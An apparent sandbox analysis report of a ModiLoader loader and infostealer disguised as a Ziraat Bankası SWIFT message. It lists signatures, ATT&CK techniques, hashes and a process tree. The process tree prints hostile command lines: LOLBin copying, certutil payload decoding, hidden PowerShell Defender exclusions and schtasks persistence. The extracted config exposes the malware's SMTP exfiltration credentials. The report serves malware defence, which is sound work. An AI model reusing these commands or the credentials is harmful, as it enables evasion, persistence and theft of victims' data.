Overview

overview

10

Static

static

1

Ziraat_Ban...8T.cmd

windows7-x64

10

Ziraat_Ban...8T.cmd

windows10-2004-x64

10

Analysis

  • max time kernel
    133s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-11-2024 20:26

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd

  • Size

    3.2MB

  • MD5

    5f351f07b94613764a8bc09970bbcd58

  • SHA1

    47fcfcac926a0007010b7afb776671d2276b8b81

  • SHA256

    2a81c419a9fcd1eb9f778dba6911c366586b0ae9a5cf2cd25155413bfbff9eea

  • SHA512

    49ddfcc8f58117ec824e35b1a2bf6928cf580e4337a8f9aa1d7d4dc62a6e93bb811702d0ed2c970f1f0a08b013ffc5ba6dcc6951c6d59f9a0d7915c3b9f3baae

  • SSDEEP

    24576:/EldPvpS3bi8Kz95FnA8S21f063u9vsk/ZkSgR+lY1Q7FZU1n9dJCNUeE1Zperr8:/ARo3biB55HSwTBvfbb

Score
10/10
modiloaderdiscoveryexecutionpersistencespywarestealertrojan

Malware Config

Extracted

Credentials

  • Protocol:     smtp
  • Host:
    s82.gocheapweb.com
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    london@1759

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

    trojanmodiloader
  • Modiloader family
    modiloader
  • ModiLoader Second Stage 61 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 28 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 9 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Modifies data under HKEY_USERS 5 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:956
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:2364
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:924
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:648
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd" "C:\\Users\\Public\\AnyDesk.jpeg" 9
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1140
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd" "C:\\Users\\Public\\AnyDesk.jpeg" 9
            3⤵
            • Executes dropped EXE
            PID:4404
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4408
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12
            3⤵
            • Executes dropped EXE
            PID:3284
        • C:\Users\Public\Libraries\AnyDesk.PIF
          C:\Users\Public\Libraries\AnyDesk.PIF
          2⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3316
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\aymtmquJ.cmd" "
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1376
            • C:\Windows\SysWOW64\esentutl.exe
              C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
              4⤵
                PID:2596
              • C:\Windows\SysWOW64\esentutl.exe
                C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o
                4⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                PID:816
              • C:\Users\Public\alpha.pif
                C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "
                4⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:4516
              • C:\Users\Public\alpha.pif
                C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"
                4⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:4916
              • C:\Users\Public\alpha.pif
                C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
                4⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3976
                • C:\Users\Public\xpha.pif
                  C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:4404
              • C:\Windows \SysWOW64\per.exe
                "C:\\Windows \\SysWOW64\\per.exe
                4⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:4292
                • C:\Windows\SYSTEM32\esentutl.exe
                  esentutl /y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe /d C:\\Users\\Public\\pha.pif /o
                  5⤵
                    PID:1644
                  • C:\Users\Public\pha.pif
                    C:\\Users\\Public\\pha.pif -WindowStyle hidden -Command Add-MpPreference -ExclusionPath 'C:\Users'
                    5⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5000
                • C:\Users\Public\alpha.pif
                  C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif"
                  4⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:980
                • C:\Users\Public\alpha.pif
                  C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64
                  4⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:548
                • C:\Users\Public\alpha.pif
                  C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \"
                  4⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:4908
              • C:\Windows\SysWOW64\esentutl.exe
                C:\\Windows\\System32\\esentutl.exe /y C:\Users\Public\Libraries\AnyDesk.PIF /d C:\\Users\\Public\\Libraries\\Juqmtmya.PIF /o
                3⤵
                  PID:3652
                • C:\Users\Public\Libraries\aymtmquJ.pif
                  C:\Users\Public\Libraries\aymtmquJ.pif
                  3⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Drops file in System32 directory
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4340
                  • C:\Users\Admin\AppData\Local\Temp\Native_neworigin.exe
                    "C:\Users\Admin\AppData\Local\Temp\Native_neworigin.exe"
                    4⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of SetWindowsHookEx
                    PID:2436
                  • C:\Users\Admin\AppData\Local\Temp\Trading_AIBot.exe
                    "C:\Users\Admin\AppData\Local\Temp\Trading_AIBot.exe"
                    4⤵
                    • Checks computer location settings
                    • Drops startup file
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4268
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\ACCApi'
                      5⤵
                      • Command and Scripting Interpreter: PowerShell
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3708
                    • C:\Windows\SysWOW64\schtasks.exe
                      "schtasks.exe" /create /tn AccSys /tr "C:\Users\Admin\AppData\Roaming\ACCApi\apihost.exe" /st 20:32 /du 23:59 /sc daily /ri 1 /f
                      5⤵
                      • System Location Discovery: System Language Discovery
                      • Scheduled Task/Job: Scheduled Task
                      PID:636
                    • C:\Users\Admin\AppData\Roaming\ACCApi\apihost.exe
                      "C:\Users\Admin\AppData\Roaming\ACCApi\apihost.exe"
                      5⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: AddClipboardFormatListener
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5936
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:1588
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\AnyDesk.jpeg" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:2272
            • C:\Windows\System32\alg.exe
              C:\Windows\System32\alg.exe
              1⤵
              • Executes dropped EXE
              • Drops file in System32 directory
              • Drops file in Program Files directory
              • Suspicious use of AdjustPrivilegeToken
              PID:5048
            • C:\Windows\system32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe
              C:\Windows\system32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe
              1⤵
              • Executes dropped EXE
              PID:3180
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k NetworkService -p -s TapiSrv
              1⤵
                PID:4060
              • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                1⤵
                • Executes dropped EXE
                PID:4220
              • C:\Windows\system32\fxssvc.exe
                C:\Windows\system32\fxssvc.exe
                1⤵
                • Executes dropped EXE
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                PID:4188
              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\elevation_service.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\elevation_service.exe"
                1⤵
                • Executes dropped EXE
                PID:4496
              • C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
                "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
                1⤵
                • Executes dropped EXE
                PID:4768
              • \??\c:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE
                "c:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"
                1⤵
                • Executes dropped EXE
                PID:6516

              Network

              MITRE ATT&CK Enterprise v15

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              1
              T1059

              PowerShell

              1
              T1059.001

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              Persistence

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              Privilege Escalation

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              Defense Evasion

              Modify Registry

              1
              T1112

              Credential Access

              Credentials from Password Stores

              1
              T1555

              Credentials from Web Browsers

              1
              T1555.003

              Unsecured Credentials

              4
              T1552

              Credentials In Files

              3
              T1552.001

              Credentials in Registry

              1
              T1552.002

              Discovery

              Query Registry

              1
              T1012

              System Information Discovery

              2
              T1082

              System Location Discovery

              1
              T1614

              System Language Discovery

              1
              T1614.001

              System Network Configuration Discovery

              1
              T1016

              Internet Connection Discovery

              1
              T1016.001

              Lateral Movement

              Collection

              Data from Local System

              4
              T1005

              Command and Control

              Exfiltration

              Impact

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\elevation_service.exe
                Filesize

                2.1MB

                MD5

                62db6547e058b292a27cf78379a147e8

                SHA1

                5260606a861f316ed74a59326cb23d929fc16127

                SHA256

                87815d48e0cca6836c6820654723d7888f4fea6ea47892cf6b67c8db2d5dec59

                SHA512

                9187fb79941fe419de5b7e1f627faedba1b0bf5febd119a2ad9c66f0411de7067b6a26c9e9b92bc92cd18a173aa97ffac3e923f3c6014cc0859c7609f89a3b74

                Download Submit

              • C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
                Filesize

                1.3MB

                MD5

                6230f0e8e519a1d0697d165f4062448f

                SHA1

                36358dc2cd450acd4263f95c53616d5235430d5a

                SHA256

                6e5282f03c023bcded1e356b6bfa3e52ff6ca14d2bdf1c8f0690859134973986

                SHA512

                ae2b5ad9ed24664fd7388e2d388db42252a712d5018a43084fc30dfecf2db3ac7a6bccd4f47715f0d300764217327390233295ac38d9574d8bb00b38a75df06e

                Download Submit

              • C:\Program Files\Common Files\microsoft shared\Source Engine\OSE.EXE
                Filesize

                1.3MB

                MD5

                0caa61c1dca95623398b6250c89a6217

                SHA1

                feb7f0eda7add630559baa8db067f642147a3416

                SHA256

                b7d66bb03a40b70b2c9710d3e16f8da4fffc430038d461da76a4986bfea6d75e

                SHA512

                8feb2a65132fb87bd05351f963b692fe4fd2e455344723f78a969255fbf94adbddc0de0748c294ab87d9d57763e069bca259b419513baddea9ac8b428947b4ae

                Download Submit

              • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                Filesize

                2.1MB

                MD5

                1137f1f9f2c024c327af0eff78d199ac

                SHA1

                f375de82158333f6db56dc6b2cc663ffe23b6e02

                SHA256

                154a6e369387e2e725f33fe7fe93d616ea6c1f26022b9be007e5e84b23a107ba

                SHA512

                8279026c2ed8ddd66aefcbd0c278564375c25156fdcd9e1dca5f3704659320addd4b366f7fbb75b8195fcafe3ddf5410742c509b5421a532dbbb50d1a554e79d

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                944B

                MD5

                6d3e9c29fe44e90aae6ed30ccf799ca8

                SHA1

                c7974ef72264bbdf13a2793ccf1aed11bc565dce

                SHA256

                2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

                SHA512

                60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\Native_neworigin.exe
                Filesize

                1.4MB

                MD5

                9ece2aae8e8fa77849268dda20caec7b

                SHA1

                51a2dcbba6bcbb069a3a5ab77659d46e98b02289

                SHA256

                a7ba9eac2a255cab335d7b0d00da00c962e2becc8aebf313434e861c502d5dd9

                SHA512

                e3cb79fb953d247c98b06e64efe737d53eb57233b43b4fd2a637ebd0f5c9ff088adcaf4cffc095aa6a6ce7b87f4b9812d1d8b76a0d27bbbbb4955fa57260adb7

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\Trading_AIBot.exe
                Filesize

                69KB

                MD5

                e91a1db64f5262a633465a0aaff7a0b0

                SHA1

                396e954077d21e94b7c20f7afa22a76c0ed522d0

                SHA256

                f19763b48b2d2cc92e61127dd0b29760a1c630f03ad7f5055fd1ed9c7d439428

                SHA512

                227d7dad569d77ef84326e905b7726c722ceff331246de4f5cf84428b9721f8b2732a31401df6a8cef7513bcd693417d74cdd65d54e43c710d44d1726f14b0c5

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nmylzo51.aef.ps1
                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                Download Submit

              • C:\Users\Admin\AppData\Roaming\acc13ecfe5a029dd.bin
                Filesize

                12KB

                MD5

                d97f7e0cc7c5be80d907be9e3cee5030

                SHA1

                ff8df157a85a9043ca0f5113e73f53556d6f07f7

                SHA256

                0704550f355eb691289801aecc41cb11b8609f8bef9754e758d66a90abfbcdb0

                SHA512

                867bd9177c2f233b81b625578828d2d991101194bdfd129879626bbeb58f9be7dc0a8f81c2c664cf0112de4dbad255497080b17837135e2ba41373eee83124a9

                Download Submit

              • C:\Users\Public\AnyDesk.jpeg
                Filesize

                2.3MB

                MD5

                04ad7e38aa2f399b5862e6267697632a

                SHA1

                a30e9c94bb215f0b96a651432f8f74f4a06284de

                SHA256

                da4101eba193661f3016d2b4b6328cf8d0cb16ac58c1470683bc07d8baf34ebe

                SHA512

                b7cacc98c0d5c7b3f03cde8b294cb6534be25c560e78c6cf5304285774b56493e98346152a587162d1347eddc7f751bd164a78dd257383b0b59b37d89d6ba5a8

                Download Submit

              • C:\Users\Public\Libraries\AnyDesk.PIF
                Filesize

                1.2MB

                MD5

                2ef70d96354cc04d9168e8f69e7b17a0

                SHA1

                92eee1bb5de4f4d50805101b83e4a3a1a602856b

                SHA256

                5842b3e5271efed831bf21f4821431bb1a7dcc94bafab135b62d34bfdb32f503

                SHA512

                3c46f059b5e2c806efdfea71dad8bcc236bfc753dc3b15e637d6697231313b68232d0f4bc6921b41ed76f2471891718678ec7b6c6dda0a5d7c9f7ae8a57580b3

                Download Submit

              • C:\Users\Public\Libraries\aymtmquJ.cmd
                Filesize

                60KB

                MD5

                b87f096cbc25570329e2bb59fee57580

                SHA1

                d281d1bf37b4fb46f90973afc65eece3908532b2

                SHA256

                d08ccc9b1e3acc205fe754bad8416964e9711815e9ceed5e6af73d8e9035ec9e

                SHA512

                72901adde38f50cf6d74743c0a546c0fea8b1cd4a18449048a0758a7593a176fc33aad1ebfd955775eefc2b30532bcc18e4f2964b3731b668dd87d94405951f7

                Download Submit

              • C:\Users\Public\Libraries\aymtmquJ.pif
                Filesize

                66KB

                MD5

                c116d3604ceafe7057d77ff27552c215

                SHA1

                452b14432fb5758b46f2897aeccd89f7c82a727d

                SHA256

                7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301

                SHA512

                9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

                Download Submit

              • C:\Users\Public\alpha.exe
                Filesize

                283KB

                MD5

                8a2122e8162dbef04694b9c3e0b6cdee

                SHA1

                f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                SHA256

                b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                SHA512

                99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

                Download Submit

              • C:\Users\Public\alpha.pif
                Filesize

                231KB

                MD5

                d0fce3afa6aa1d58ce9fa336cc2b675b

                SHA1

                4048488de6ba4bfef9edf103755519f1f762668f

                SHA256

                4d89fc34d5f0f9babd022271c585a9477bf41e834e46b991deaa0530fdb25e22

                SHA512

                80e127ef81752cd50f9ea2d662dc4d3bf8db8d29680e75fa5fc406ca22cafa5c4d89ef2eac65b486413d3cdd57a2c12a1cb75f65d1e312a717d262265736d1c2

                Download Submit

              • C:\Users\Public\kn.exe
                Filesize

                1.6MB

                MD5

                bd8d9943a9b1def98eb83e0fa48796c2

                SHA1

                70e89852f023ab7cde0173eda1208dbb580f1e4f

                SHA256

                8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

                SHA512

                95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

                Download Submit

              • C:\Users\Public\pha.pif
                Filesize

                442KB

                MD5

                04029e121a0cfa5991749937dd22a1d9

                SHA1

                f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                SHA256

                9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                SHA512

                6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                Download Submit

              • C:\Users\Public\xpha.pif
                Filesize

                18KB

                MD5

                b3624dd758ccecf93a1226cef252ca12

                SHA1

                fcf4dad8c4ad101504b1bf47cbbddbac36b558a7

                SHA256

                4aaa74f294c15aeb37ada8185d0dead58bd87276a01a814abc0c4b40545bf2ef

                SHA512

                c613d18511b00fa25fc7b1bdde10d96debb42a99b5aaab9e9826538d0e229085bb371f0197f6b1086c4f9c605f01e71287ffc5442f701a95d67c232a5f031838

                Download Submit

              • C:\Windows \SysWOW64\NETUTILS.dll
                Filesize

                115KB

                MD5

                fc9b64a2b1006891bf39ebf395b4eba8

                SHA1

                0e98ba291d77ff8a57b5ebe198ff0c2e6c2bea00

                SHA256

                1093d0809ed5223c8ea2d723032c0ee2bfd1d971ad6ac69904983ec545000b3d

                SHA512

                9d5a9716b71b436dd465cdf8ed8471747828420cec7c5dad3406072e53f8de6e31253968e55ef49dc19a8245993b00164f193a3752cc16fce3887c4737db906d

                Download Submit

              • C:\Windows \SysWOW64\per.exe
                Filesize

                94KB

                MD5

                869640d0a3f838694ab4dfea9e2f544d

                SHA1

                bdc42b280446ba53624ff23f314aadb861566832

                SHA256

                0db4d3ffdb96d13cf3b427af8be66d985728c55ae254e4b67d287797e4c0b323

                SHA512

                6e775cfb350415434b18427d5ff79b930ed3b0b3fc3466bc195a796c95661d4696f2d662dd0e020c3a6c3419c2734468b1d7546712ecec868d2bbfd2bc2468a7

                Download Submit

              • C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe
                Filesize

                1.2MB

                MD5

                df3a3f26718512d2c82c84bd02ae2b70

                SHA1

                c7ddf42457fee4a3eefb2e012dd143acba3c6295

                SHA256

                f324197da59d927146794215901f12f09ace1cae44d0625c0d37a7f0a5b40d0d

                SHA512

                c5c157377ef96dc39ac75f032ba84e268d366dffdbffdf864719826513a42b8e2a7f0b6ef143946add1ad574258bd16bdceff21dabd60299e95a082e8d32664b

                Download Submit

              • C:\Windows\System32\alg.exe
                Filesize

                1.2MB

                MD5

                b0f5035e380198e8d6b034ce9707844c

                SHA1

                a26d96083f34cc74818d8fdcebd665b7a1930734

                SHA256

                839460251e1551a83ab58e12e41b391b41d2c8388dab4c5edb02f3ccdee04d96

                SHA512

                ca56f5d5b458ea6f5baf8b05891b551acb7f6b859fe1d5b73f4e959f9c890ce9e8a6db26d49d3c7acb0377ca9e48af93babfebf7ced3704a2f6d426f3900faab

                Download Submit

              • C:\Windows\system32\AppVClient.exe
                Filesize

                1.3MB

                MD5

                85047ad0c15d9375f15b5c5a1179196f

                SHA1

                97f5a6e1f839449906c0db8ffcdc7ca36cb29a1d

                SHA256

                aaaf97a395741cf6151cd2bca9d9b2a9bb3f0af9228d84177d6abdb50484df52

                SHA512

                66ebb272bf1a4143cc2aa0c2adcdf41ea7d188eb3702b86dc9ae96ce2f750478abfc1ff129c8fdefeaf75600af1615e28946741558d196213c5efa0da87ea7b6

                Download Submit

              • C:\Windows\system32\fxssvc.exe
                Filesize

                1.2MB

                MD5

                cdc1225c71c7b509ec91706db370a6a3

                SHA1

                fbe6b60682392370c2ba2c8f42a3bf4f619615ce

                SHA256

                3c886f7fd2d234fd8db99db18c9d6cfef68d747de88b8cd2149d469dd6a220b4

                SHA512

                3187cabebc1a2f81200a6705ca2980ece260e1c32c48b8da6e70647fc14873cb0145dd9ea776f2e8038fa9e69ded4d505752c423a0cc703404a3cce2880076be

                Download Submit

              • memory/2436-691-0x0000000005000000-0x000000000505E000-memory.dmp

                Filesize

                376KB

                Download

              • memory/2436-2099-0x0000000006E10000-0x0000000006E1A000-memory.dmp

                Filesize

                40KB

                Download

              • memory/2436-2086-0x0000000006C00000-0x0000000006C9C000-memory.dmp

                Filesize

                624KB

                Download

              • memory/2436-2085-0x0000000006BB0000-0x0000000006C00000-memory.dmp

                Filesize

                320KB

                Download

              • memory/2436-2062-0x0000000000400000-0x0000000000561000-memory.dmp

                Filesize

                1.4MB

                Download

              • memory/2436-681-0x0000000000400000-0x0000000000561000-memory.dmp

                Filesize

                1.4MB

                Download

              • memory/2436-714-0x00000000050A0000-0x00000000050FC000-memory.dmp

                Filesize

                368KB

                Download

              • memory/2436-1900-0x0000000005950000-0x00000000059B6000-memory.dmp

                Filesize

                408KB

                Download

              • memory/2436-713-0x00000000051B0000-0x0000000005754000-memory.dmp

                Filesize

                5.6MB

                Download

              • memory/3180-630-0x0000000140000000-0x000000014012F000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/3180-2032-0x0000000140000000-0x000000014012F000-memory.dmp

                Filesize

                1.2MB

                Download

              • memory/3316-93-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-74-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-65-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-60-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-77-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-63-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-62-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-75-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-61-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-59-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-70-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-58-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-57-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-56-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-55-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-54-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-53-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-51-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-50-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

              • memory/3316-49-0x0000000002E70000-0x0000000003E70000-memory.dmp

                Filesize

                16.0MB

                Download

